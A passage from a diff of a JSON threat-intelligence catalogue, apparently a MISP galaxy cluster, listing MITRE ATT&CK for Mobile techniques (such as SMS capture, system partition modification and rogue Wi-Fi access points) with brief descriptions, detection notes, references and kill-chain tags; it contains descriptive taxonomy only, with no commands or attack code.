] + }, + "uuid": "8f142a25-f6c3-4520-bd50-2ae3ab50ed3e" + }, + { + "description": "Adversaries may attempt to exploit enterprise servers, workstations, or other resources over the network. This technique may take advantage of the mobile device's access to an internal enterprise network either through local connectivity or through a Virtual Private Network (VPN).\n\nPlatforms: Android, iOS", + "value": "Exploit Enterprise Resources - MOB-T1031", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1031", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-32.html" + ], + "external_id": "APP-32", + "kill_chain": [ + "mitre-mobile-attack:enterprise-attack:lateral-movement" + ], + "mitre_platforms": [ + "Android", + "iOS" + ] + }, + "uuid": "22379609-a99f-4a01-bd7e-70f3e105859d" + }, + { + "description": "If an adversary can escalate privileges, he or she may be able to use those privileges to place malicious code in the device system partition, where it may persist after device resets and may not be easily removed by the device user.\n\nMany Android devices provide the ability to unlock the bootloader for development purposes. An unlocked bootloader may provide the ability for an adversary to modify the system partition. Even if the bootloader is locked, it may be possible for an adversary to escalate privileges and then modify the system partition.\n\nDetection: Android devices with the Verified Boot capability (Citation: Android-VerifiedBoot) perform cryptographic checks of the integrity of the system partition.\n\nThe Android SafetyNet API's remote attestation capability could potentially be used to identify and respond to compromised devices.\n\nSamsung KNOX also provides a remote attestation capability on supported Samsung Android devices.\n\nAs described in the iOS Security Guide (Citation: Apple-iOSSecurityGuide), iOS devices will fail to boot or fail to allow device activation if unauthorized modifications are detected.\n\nPlatforms: Android, iOS", + "value": "Modify System Partition - MOB-T1003", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1003", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-27.html", + "https://source.android.com/security/verifiedboot/", + "https://www.apple.com/business/docs/iOS%20Security%20Guide.pdf" + ], + "external_id": "APP-27", + "kill_chain": [ + "mitre-mobile-attack:enterprise-attack:defense-evasion", + "mitre-mobile-attack:enterprise-attack:persistence" + ], + "mitre_platforms": [ + "Android", + "iOS" + ] + }, + "uuid": "c5089859-b21f-40a3-8be4-63e381b8b1c0" + }, + { + "description": "An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, and architecture.\n\nOn Android, much of this information is programmatically accessible to applications through the android.os.Build class (Citation: Android-Build).\n\nOn iOS, techniques exist for applications to programmatically access this information, for example as described in (Citation: StackOverflow-iOSVersion).\n\nPlatforms: Android, iOS", + "value": "System Information Discovery - MOB-T1029", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1029", + "https://zeltser.com/third-party-keyboards-security/", + "http://stackoverflow.com/questions/7848766/how-can-we-programmatically-detect-which-ios-version-is-device-running-on" + ], + "external_id": "MOB-T1029", + "kill_chain": [ + "mitre-mobile-attack:enterprise-attack:discovery" + ], + "mitre_platforms": [ + "Android", + "iOS" + ] + }, + "uuid": "e2ea7f6b-8d4f-49c3-819d-660530d12b77" + }, + { + "description": "Adversaries may attempt to get a listing of services running on remote hosts, including those that may be vulnerable to remote software exploitation. Methods to acquire this information include port scans and vulnerability scans from the mobile device. This technique may take advantage of the mobile device's access to an internal enterprise network either through local connectivity or through a Virtual Private Network (VPN).\n\nPlatforms: Android, iOS", + "value": "Network Service Scanning - MOB-T1026", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1026" + ], + "external_id": "MOB-T1026", + "kill_chain": [ + "mitre-mobile-attack:enterprise-attack:discovery" + ], + "mitre_platforms": [ + "Android", + "iOS" + ] + }, + "uuid": "2de38279-043e-47e8-aaad-1b07af6d0790" + }, + { + "description": "On Android, an adversary could call standard operating system APIs from a malicious application to gather call log data, or with escalated privileges could directly access files containing call log data.\n\nOn iOS, applications do not have access to the call log, so privilege escalation would be required in order to access the data.\n\nDetection: On Android 6.0 and up, the user can view which applications have permission to access call log information through the device settings screen, and the user can choose to revoke the permissions.\n\nPlatforms: Android, iOS", + "value": "Access Call Log - MOB-T1036", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1036", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-13.html" + ], + "external_id": "APP-13", + "kill_chain": [ + "mitre-mobile-attack:enterprise-attack:collection" + ], + "mitre_platforms": [ + "Android", + "iOS" + ] + }, + "uuid": "79eec66a-9bd0-4a3f-ac82-19159e94bd44" + }, + { + "description": "An adversary could evade app vetting techniques by placing code in a malicious application to detect whether it is running in an app analysis environment and, if so, avoid performing malicious actions while under analysis.\n\nDiscussion of general Android anti-analysis techniques can be found in (Citation: Petsas). Discussion of Google Play Store-specific anti-analysis techniques can be found in (Citation: Oberheide-Bouncer), (Citation: Percoco-Bouncer).\n\n (Citation: Wang) presents a discussion of iOS anti-analysis techniques.\n\nPlatforms: Android, iOS", + "value": "Detect App Analysis Environment - MOB-T1043", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1043", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-20.html", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-21.html", + "https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-22.html", + "http://dl.acm.org/citation.cfm?id=2592796", + "https://jon.oberheide.org/files/summercon12-bouncer.pdf", + "https://media.blackhat.com/bh-us-12/Briefings/Percoco/BH%20US%2012%20Percoco%20Adventures%20in%20Bouncerland%20WP.pdf", + "https://www.usenix.org/conference/usenixsecurity13/technical-sessions/presentation/wang%20tielei" + ], + "external_id": "ECO-22", + "kill_chain": [ + "mitre-mobile-attack:enterprise-attack:app-delivery-via-authorized-app-store" + ], + "mitre_platforms": [ + "Android", + "iOS" + ] + }, + "uuid": "b765efd1-02e6-4e67-aebf-0fef5c37e54b" + }, + { + "description": "Content of a web page could be designed to exploit vulnerabilities in a web browser running on the mobile device.\n\nPlatforms: Android, iOS", + "value": "Malicious Web Content - MOB-T1059", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1059", + "https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-22.html" + ], + "external_id": "CEL-22", + "kill_chain": [ + "mitre-mobile-attack:enterprise-attack:exploit-via-internet" + ], + "mitre_platforms": [ + "Android", + "iOS" + ] + }, + "uuid": "fd339382-bfec-4bf0-8d47-1caedc9e7e57" + }, + { + "description": "An adversary could use fake identities, payment cards, etc., to create developer accounts to publish malicious applications to app stores. For example, Oberheide and Miller describe use of this technique in (Citation: Oberheide-Bouncer).\n\nPlatforms: Android, iOS", + "value": "Fake Developer Accounts - MOB-T1045", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1045", + "https://jon.oberheide.org/files/summercon12-bouncer.pdf" + ], + "external_id": "MOB-T1045", + "kill_chain": [ + "mitre-mobile-attack:enterprise-attack:app-delivery-via-authorized-app-store" + ], + "mitre_platforms": [ + "Android", + "iOS" + ] + }, + "uuid": "e30cc912-7ea1-4683-9219-543b86cbdec9" + }, + { + "description": "Content of a media (audio or video) file could be designed to exploit vulnerabilities in parsers on the mobile device, as for example demonstrated by the Android Stagefright vulnerability (Citation: Zimperium-Stagefright).\n\nPlatforms: Android, iOS", + "value": "Malicious Media Content - MOB-T1060", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1060", + "https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-22.html", + "https://blog.zimperium.com/experts-found-a-unicorn-in-the-heart-of-android/" + ], + "external_id": "CEL-22", + "kill_chain": [ + "mitre-mobile-attack:enterprise-attack:exploit-via-internet" + ], + "mitre_platforms": [ + "Android", + "iOS" + ] + }, + "uuid": "a9cab8f6-4c94-4c9b-9e7d-9d863ff53431" + }, + { + "description": "The application is delivered as an email attachment.\n\nDetection: An EMM/MDM or mobile threat protection solution can identify the presence of unwanted, known insecure, or malicious apps on devices. Enterprise email security solutions can identify the presence of Android or iOS application packages within email messages.\n\nPlatforms: Android, iOS", + "value": "App Delivered via Email Attachment - MOB-T1037", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1037", + "https://pages.nist.gov/mobile-threat-catalogue/authentication-threats/AUT-9.html", + "https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-13.html" + ], + "external_id": "ECO-13", + "kill_chain": [ + "mitre-mobile-attack:enterprise-attack:app-delivery-via-other-means" + ], + "mitre_platforms": [ + "Android", + "iOS" + ] + }, + "uuid": "1f96d624-8409-4472-ad8a-30618ee6b2e2" + }, + { + "description": "Adversaries may communicate using a common, standardized application layer protocol such as HTTP, HTTPS, SMTP, or DNS to avoid detection by blending in with existing traffic.\n\nIn the mobile environment, the Google Cloud Messaging (GCM; two-way) and Apple Push Notification Service (APNS; one-way server-to-device) are commonly used protocols on Android and iOS respectively that would blend in with routine device traffic and are difficult for enterprises to inspect. As described by Kaspersky (Citation: Kaspersky-MobileMalware), Google responds to reports of abuse by blocking access to GCM.\n\nPlatforms: Android, iOS", + "value": "Standard Application Layer Protocol - MOB-T1040", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1040", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-29.html", + "https://securelist.com/analysis/kaspersky-security-bulletin/58335/mobile-malware-evolution-2013/" + ], + "external_id": "APP-29", + "kill_chain": [ + "mitre-mobile-attack:enterprise-attack:command-and-control", + "mitre-mobile-attack:enterprise-attack:exfiltration" + ], + "mitre_platforms": [ + "Android", + "iOS" + ] + }, + "uuid": "6a3f6490-9c44-40de-b059-e5940f246673" + }, + { + "description": "On Android, command line tools or the Java file APIs can be used to enumerate file system contents. However, Linux file permissions and SELinux policies generally strongly restrict what can be accessed by apps (without taking advantage of a privilege escalation exploit). The contents of the external storage directory are generally visible, which could present concern if sensitive data is inappropriately stored there.\n\niOS's security architecture generally restricts the ability to perform file and directory discovery without use of escalated privileges.\n\nPlatforms: Android", + "value": "File and Directory Discovery - MOB-T1023", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1023" + ], + "external_id": "MOB-T1023", + "kill_chain": [ + "mitre-mobile-attack:enterprise-attack:discovery" + ], + "mitre_platforms": [ + "Android" + ] + }, + "uuid": "cf28ca46-1fd3-46b4-b1f6-ec0b72361848" + }, + { + "description": "A malicious application could abuse Android device administrator access to wipe device contents, for example if a ransom is not paid.\n\nPlatforms: Android", + "value": "Wipe Device Data - MOB-T1050", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1050" + ], + "external_id": "MOB-T1050", + "kill_chain": [ + "mitre-mobile-attack:enterprise-attack:effects" + ], + "mitre_platforms": [ + "Android" + ] + }, + "uuid": "8e27551a-5080-4148-a584-c64348212e4f" + }, + { + "description": "An adversary could use a malicious or exploited application to surreptitiously record activities using the device microphone and/or camera through use of standard operating system APIs.\n\nDetection: On both Android (6.0 and up) and iOS, the user can view which applications have permission to use the microphone or the camera through the device settings screen, and the user can choose to revoke the permissions.\n\nPlatforms: Android, iOS", + "value": "Microphone or Camera Recordings - MOB-T1032", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1032", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-19.html" + ], + "external_id": "APP-19", + "kill_chain": [ + "mitre-mobile-attack:enterprise-attack:collection" + ], + "mitre_platforms": [ + "Android", + "iOS" + ] + }, + "uuid": "6683aa0c-d98a-4f5b-ac57-ca7e9934a760" + }, + { + "description": "The mobile device could contain built-in functionality with malicious behavior or exploitable vulnerabilities. An adversary could deliberately insert and take advantage of the malicious behavior or could exploit inadvertent vulnerabilities. In many cases, it is difficult to be certain whether exploitable functionality is due to malicious intent or simply an inadvertent mistake.\n\nPlatforms: Android, iOS", + "value": "Malicious or Vulnerable Built-in Device Functionality - MOB-T1076", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1076" + ], + "external_id": "MOB-T1076", + "kill_chain": [ + "mitre-mobile-attack:enterprise-attack:supply-chain" + ], + "mitre_platforms": [ + "Android", + "iOS" + ] + }, + "uuid": "f9e4f526-ac9d-4df5-8949-833a82a1d2df" + }, + { + "description": "An app could contain malicious code in obfuscated or encrypted form, then deobfuscate or decrypt the code at runtime to evade many app vetting techniques, as described in (Citation: Rastogi) (Citation: Zhou) (Citation: TrendMicro-Obad) (Citation: Xiao-iOS).\n\nPlatforms: Android, iOS", + "value": "Obfuscated or Encrypted Payload - MOB-T1009", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1009", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-21.html", + "http://pages.cs.wisc.edu/~vrastogi/static/papers/rcj13b.pdf", + "http://ieeexplore.ieee.org/document/6234407", + "http://blog.trendmicro.com/trendlabs-security-intelligence/cybercriminals-improve-android-malware-stealth-routines-with-obad/", + "http://www.slideshare.net/Shakacon/fruit-vs-zombies-defeat-nonjailbroken-ios-malware-by-claud-xiao" + ], + "external_id": "APP-21", + "kill_chain": [ + "mitre-mobile-attack:enterprise-attack:defense-evasion" + ], + "mitre_platforms": [ + "Android", + "iOS" + ] + }, + "uuid": "d13fa042-8f26-44e1-a2a8-af0bf8e2ac9a" + }, + { + "description": "At least three methods exist to perform User Interface Spoofing:\n\nFirst, on both Android and iOS, an adversary could impersonate the user interface of a legitimate app or device function to trick a user into entering account credentials. \n\nSecond, on both Android and iOS, a malicious app could impersonate the identity of another app in order to trick users into installing and using it.\n\nThird, on older versions of Android, a malicious app could abuse mobile operating system features to interfere with a running legitimate app as described in (Citation: Felt-PhishingOnMobileDevices) and (Citation: Hassell-ExploitingAndroid). However, this technique appears to have been addressed starting in Android 5.0 with the deprecation of the Android's ActivityManager.getRunningTasks method and modification of its behavior (Citation: Android-getRunningTasks) and further addressed in Android 5.1.1 (Citation: StackOverflow-getRunningAppProcesses) to prevent a malicious app from determining what app is currently in the foreground.\n\nPlatforms: Android, iOS", + "value": "User Interface Spoofing - MOB-T1014", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1014", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-31.html", + "http://w2spconf.com/2011/papers/felt-mobilephishing.pdf", + "http://conference.hitb.org/hitbsecconf2011kul/materials/D1T1", + "https://developer.android.com/reference/android/app/ActivityManager.html#getRunningTasks%28int%29", + "http://stackoverflow.com/questions/30619349/android-5-1-1-and-above-getrunningappprocesses-returns-my-application-packag" + ], + "external_id": "APP-31", + "kill_chain": [ + "mitre-mobile-attack:enterprise-attack:credential-access" + ], + "mitre_platforms": [ + "Android", + "iOS" + ] + }, + "uuid": "3dd58c80-4c2e-458c-9503-1b2cd273c4d2" + }, + { + "description": "A message sent over a radio interface (typically cellular, but potentially Bluetooth, GPS, NFC, Wi-Fi or other) to the mobile device could exploit a vulnerability in code running on the device.\n\nD. Komaromy and N. Golde demonstrated baseband exploitation of a Samsung mobile device at the PacSec 2015 security conference (Citation: Register-BaseStation).\n\nWeinmann described and demonstrated \"the risk of remotely exploitable memory corruptions in cellular baseband stacks.\" (Citation: Weinmann-Baseband)\n\nPlatforms: Android, iOS", + "value": "Exploit Baseband Vulnerability - MOB-T1058", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1058", + "https://pages.nist.gov/mobile-threat-catalogue/stack-threats/STA-18.html", + "https://pages.nist.gov/mobile-threat-catalogue/stack-threats/STA-19.html", + "http://www.theregister.co.uk/2015/11/12/mobile%20pwn2own1/", + "https://www.usenix.org/system/files/conference/woot12/woot12-final24.pdf" + ], + "external_id": "STA-19", + "kill_chain": [ + "mitre-mobile-attack:enterprise-attack:exploit-via-cellular-network" + ], + "mitre_platforms": [ + "Android", + "iOS" + ] + }, + "uuid": "c91c304a-975d-4501-9789-0db1c57afd3f" + }, + { + "description": "On Android versions prior to 5, applications can observe information about other processes that are running through methods in the ActivityManager class. On Android versions prior to 7, applications can obtain this information by executing the ps command, or by examining the /proc directory. Starting in Android version 7, use of the Linux kernel's hidepid feature prevents applications (without escalated privileges) from accessing this information (Citation: Android-SELinuxChanges).\n\nPlatforms: Android", + "value": "Process Discovery - MOB-T1027", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1027", + "https://code.google.com/p/android/issues/detail?id=205565" + ], + "external_id": "MOB-T1027", + "kill_chain": [ + "mitre-mobile-attack:enterprise-attack:discovery" + ], + "mitre_platforms": [ + "Android" + ] + }, + "uuid": "1b51f5bc-b97a-498a-8dbd-bc6b1901bf19" + }, + { + "description": "A malicious application can request Device Administrator privileges. If the user grants the privileges, the application can take steps to make its removal more difficult.\n\nDetection: The device user can view a list of apps with Device Administrator privilege in the device settings.\n\nPlatforms: Android", + "value": "Abuse Device Administrator Access to Prevent Removal - MOB-T1004", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1004", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-22.html" + ], + "external_id": "APP-22", + "kill_chain": [ + "mitre-mobile-attack:enterprise-attack:persistence" + ], + "mitre_platforms": [ + "Android" + ] + }, + "uuid": "82f04b1e-5371-4a6f-be06-411f0f43b483" + }, + { + "description": "The application is downloaded from an arbitrary web site. A link to the application's download URI may be sent in an email or SMS, placed on another web site that the target is likely to view, or sent via other means (such as QR code).\n\nDetection: An EMM/MDM or mobile threat protection solution can identify the presence of unwanted, known insecure, or malicious apps on devices.\n\nPlatforms: Android, iOS", + "value": "App Delivered via Web Download - MOB-T1034", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1034", + "https://pages.nist.gov/mobile-threat-catalogue/authentication-threats/AUT-9.html", + "https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-21.html" + ], + "external_id": "ECO-21", + "kill_chain": [ + "mitre-mobile-attack:enterprise-attack:app-delivery-via-other-means" + ], + "mitre_platforms": [ + "Android", + "iOS" + ] + }, + "uuid": "6b846ad0-cc20-4db6-aa34-91561397c5e2" + }, + { + "description": "A malicious application could capture sensitive data sent via SMS, including authentication credentials. SMS is frequently used to transmit codes used for multi-factor authentication.\n\nOn Android, a malicious application must request and obtain permission (either at app install time or run time) in order to receive SMS messages. Alternatively, a malicious application could attempt to perform an operating system privilege escalation attack to bypass the permission requirement.\n\nOn iOS, applications cannot access SMS messages in normal operation, so an adversary would need to attempt to perform an operating system privilege escalation attack to potentially be able to access SMS messages.\n\nPlatforms: Android, iOS", + "value": "Capture SMS Messages - MOB-T1015", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1015" + ], + "external_id": "MOB-T1015", + "kill_chain": [ + "mitre-mobile-attack:enterprise-attack:collection", + "mitre-mobile-attack:enterprise-attack:credential-access" + ], + "mitre_platforms": [ + "Android", + "iOS" + ] + }, + "uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060" + }, + { + "description": "An adversary may encrypt files stored on the mobile device to prevent the user from accessing them, only unlocking access to the files after a ransom is paid. Without escalated privileges, the adversary is generally limited to only encrypting files in external/shared storage locations. This technique has been demonstrated on Android, and we are unaware of any demonstrated use on iOS.\n\nPlatforms: Android", + "value": "Encrypt Files for Ransom - MOB-T1074", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1074", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-28.html" + ], + "external_id": "APP-28", + "kill_chain": [ + "mitre-mobile-attack:enterprise-attack:effects" + ], + "mitre_platforms": [ + "Android" + ] + }, + "uuid": "d9e88203-2b5d-405f-a406-2933b1e3d7e4" + }, + { + "description": "An adversary could abuse an iOS enterprise app signing key (intended for enterprise in-house distribution of apps) to sign malicious iOS apps so that they can be installed on iOS devices without the app needing to be published on Apple's App Store. For example, Xiao describes use of this technique in (Citation: Xiao-iOS).\n\nDetection: iOS 9 and above typically requires explicit user consent before allowing installation of applications signed with enterprise distribution keys rather than installed from Apple's App Store.\n\nPlatforms: iOS", + "value": "Abuse of iOS Enterprise App Signing Key - MOB-T1048", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1048", + "https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-23.html", + "http://www.slideshare.net/Shakacon/fruit-vs-zombies-defeat-nonjailbroken-ios-malware-by-claud-xiao" + ], + "external_id": "ECO-23", + "kill_chain": [ + "mitre-mobile-attack:enterprise-attack:app-delivery-via-other-means" + ], + "mitre_platforms": [ + "iOS" + ] + }, + "uuid": "51aedbd6-2837-4d15-aeb0-cb09f2bf22ac" + }, + { + "description": "On Android, details of onboard network interfaces are accessible to apps through the java.net. (Citation: NetworkInterface) class (Citation: NetworkInterface). The Android (Citation: TelephonyManager) class can be used to gather related information such as the IMSI, IMEI, and phone number (Citation: TelephonyManager).\n\nPlatforms: Android", + "value": "Local Network Configuration Discovery - MOB-T1025", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1025", + "https://developer.android.com/reference/java/net/NetworkInterface.html", + "https://developer.android.com/reference/android/telephony/TelephonyManager.html" + ], + "external_id": "MOB-T1025", + "kill_chain": [ + "mitre-mobile-attack:enterprise-attack:discovery" + ], + "mitre_platforms": [ + "Android" + ] + }, + "uuid": "d4536441-1bcc-49fa-80ae-a596ed3f7ffd" + }, + { + "description": "Adversaries can communicate using cellular networks rather than enterprise Wi-Fi in order to bypass enterprise network monitoring systems. Adversaries may also communicate using other non-Internet Protocol mediums such as SMS, NFC, or Bluetooth to bypass network monitoring systems.\n\nPlatforms: Android, iOS", + "value": "Alternate Network Mediums - MOB-T1041", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1041", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-30.html" + ], + "external_id": "APP-30", + "kill_chain": [ + "mitre-mobile-attack:enterprise-attack:command-and-control", + "mitre-mobile-attack:enterprise-attack:exfiltration" + ], + "mitre_platforms": [ + "Android", + "iOS" + ] + }, + "uuid": "b3c2e5de-0941-4b57-ba61-af029eb5517a" + }, + { + "description": "On Android, applications can use standard APIs to gather a list of network connections to and from the device. For example, the Network Connections app available in the Google Play Store (Citation: ConnMonitor) advertises this functionality.\n\nPlatforms: Android", + "value": "Local Network Connections Discovery - MOB-T1024", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1024", + "https://play.google.com/store/apps/details?id=com.antispycell.connmonitor&hl=en" + ], + "external_id": "MOB-T1024", + "kill_chain": [ + "mitre-mobile-attack:enterprise-attack:discovery" + ], + "mitre_platforms": [ + "Android" + ] + }, + "uuid": "dd818ea5-adf5-41c7-93b5-f3b839a219fb" + }, + { + "description": "An adversary could make educated guesses of the device lock screen's PIN/password (e.g., commonly used values, birthdays, anniversaries) or attempt a dictionary or brute force attack against it. Brute force attacks could potentially be automated (Citation: PopSci-IPBox).\n\nPlatforms: Android, iOS", + "value": "Device Unlock Code Guessing or Brute Force - MOB-T1062", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1062", + "http://www.popsci.com/box-can-figure-out-your-4-digit-iphone-passcode" + ], + "external_id": "MOB-T1062", + "kill_chain": [ + "mitre-mobile-attack:enterprise-attack:exploit-via-physical-access" + ], + "mitre_platforms": [ + "Android", + "iOS" + ] + }, + "uuid": "f296fc9c-2ff5-43ee-941e-6b49c438270a" + }, + { + "description": "A malicious app or other attack vector could be used to exploit vulnerabilities in code running within the Trusted Execution Environment (TEE) (Citation: Thomas-TrustZone). The adversary could then obtain privileges held by the TEE potentially including the ability to access cryptographic keys or other sensitive data (Citation: QualcommKeyMaster). Escalated operating system privileges may be first required in order to have the ability to attack the TEE (Citation: EkbergTEE). If not, privileges within the TEE can potentially be used to exploit the operating system (Citation: laginimaineb-TEE).\n\nPlatforms: Android", + "value": "Exploit TEE Vulnerability - MOB-T1008", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1008", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-27.html", + "https://usmile.at/symposium/program/2015/thomas-holmes", + "https://bits-please.blogspot.in/2016/06/extracting-qualcomms-keymaster-keys.html", + "https://usmile.at/symposium/program/2015/ekberg", + "http://bits-please.blogspot.co.il/2016/05/war-of-worlds-hijacking-linux-kernel.html" + ], + "external_id": "APP-27", + "kill_chain": [ + "mitre-mobile-attack:enterprise-attack:credential-access", + "mitre-mobile-attack:enterprise-attack:privilege-escalation" + ], + "mitre_platforms": [ + "Android" + ] + }, + "uuid": "ef771e03-e080-43b4-a619-ac6f84899884" + }, + { + "description": "An adversary could set up unauthorized Wi-Fi access points or compromise existing access points and, if the device connects to them, carry out network-based attacks such as eavesdropping on or modifying network communication as described in NIST SP 800-153 (Citation: NIST-SP800153). \n\nFor example, Kaspersky describes a threat actor they call DarkHotel that targeted hotel Wi-Fi networks, using them to compromise computers belonging to business executives (Citation: Kaspersky-DarkHotel).\n\nPlatforms: Android, iOS", + "value": "Rogue Wi-Fi Access Points - MOB-T1068", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1068", + "https://pages.nist.gov/mobile-threat-catalogue/lan-pan-threats/LPN-0.html", + "http://nvlpubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-153.pdf", + "https://blog.kaspersky.com/darkhotel-apt/6613/" + ], + "external_id": "LPN-0", + "kill_chain": [ + "mitre-mobile-attack:enterprise-attack:general-network-based" + ], + "mitre_platforms": [ + "Android", + "iOS" + ] + }, + "uuid": "633baf01-6de4-4963-bb54-ff6c6357bed3" + }, + { + "description": "An adversary who is able to obtain unauthorized access to or misuse authorized access to cloud services (e.g. Google's Android Device Manager or Apple iCloud's Find my iPhone) or to an enterprise mobility management (EMM) / mobile device management (MDM) server console could use that access to track mobile devices.\n\nDetection: Google sends a notification to the device when Android Device Manager is used to locate it. Additionally, Google provides the ability for users to view their general account activity. Apple iCloud also provides notifications to users of account activity.\n\nPlatforms: Android, iOS", + "value": "Remotely Track Device Without Authorization - MOB-T1071", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1071", + "https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-5.html", + "https://pages.nist.gov/mobile-threat-catalogue/emm-threats/EMM-7.html" + ], + "external_id": "EMM-7", + "kill_chain": [ + "mitre-mobile-attack:enterprise-attack:cloud-based" + ], + "mitre_platforms": [ + "Android", + "iOS" + ] + }, + "uuid": "6f86d346-f092-4abc-80df-8558a90c426a" + }, + { + "description": "An adversary could attempt to spoof a mobile device's biometric authentication mechanism, for example by providing a fake fingerprint as described by SRLabs in (Citation: SRLabs-Fingerprint).\n\niOS partly mitigates this attack by requiring the device passcode rather than a fingerprint to unlock the device after every device restart and after 48 hours since the device was last unlocked (Citation: Apple-TouchID).\n\nPlatforms: Android, iOS", + "value": "Biometric Spoofing - MOB-T1063", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1063", + "https://srlabs.de/bites/spoofing-fingerprints/", + "https://support.apple.com/en-us/HT204587" + ], + "external_id": "MOB-T1063", + "kill_chain": [ + "mitre-mobile-attack:enterprise-attack:exploit-via-physical-access" + ], + "mitre_platforms": [ + "Android", + "iOS" + ] + }, + "uuid": "45dcbc83-4abc-4de1-b643-e528d1e9df09" + }, + { + "description": "An attacker could jam radio signals (e.g. Wi-Fi, cellular, GPS) to prevent the mobile device from communicating as described in draft NIST SP 800-187 (Citation: NIST-SP800187).\n\nPlatforms: Android, iOS", + "value": "Jamming or Denial of Service - MOB-T1067", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1067", + "https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-7.html", + "https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-8.html", + "https://pages.nist.gov/mobile-threat-catalogue/lan-pan-threats/LPN-5.html", + "https://pages.nist.gov/mobile-threat-catalogue/gps-threats/GPS-0.html", + "http://csrc.nist.gov/publications/drafts/800-187/sp800%20187%20draft.pdf" + ], + "external_id": "GPS-0", + "kill_chain": [ + "mitre-mobile-attack:enterprise-attack:cellular-network-based", + "mitre-mobile-attack:enterprise-attack:general-network-based" + ], + "mitre_platforms": [ + "Android", + "iOS" + ] + }, + "uuid": "d2e112dc-f6d4-488d-b8df-ecbfb57a0a2d" + }, + { + "description": "A malicious app or other attack vector could capture sensitive data stored in the device clipboard, for example passwords being copy-and-pasted from a password manager app.\n\nPlatforms: Android, iOS", + "value": "Capture Clipboard Data - MOB-T1017", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1017", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-35.html" + ], + "external_id": "APP-35", + "kill_chain": [ + "mitre-mobile-attack:enterprise-attack:collection", + "mitre-mobile-attack:enterprise-attack:credential-access" + ], + "mitre_platforms": [ + "Android", + "iOS" + ] + }, + "uuid": "c4b96c0b-cb58-497a-a1c2-bb447d79d692" + }, + { + "description": "An adversary could call standard operating system APIs from a malicious application to gather contact list (i.e., address book) data, or with escalated privileges could directly access files containing contact list data.\n\nDetection: On both Android (6.0 and up) and iOS, the user can view which applications have permission to access contact list information through the device settings screen, and the user can choose to revoke the permissions.\n\nPlatforms: Android, iOS", + "value": "Access Contact List - MOB-T1035", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1035", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-13.html" + ], + "external_id": "APP-13", + "kill_chain": [ + 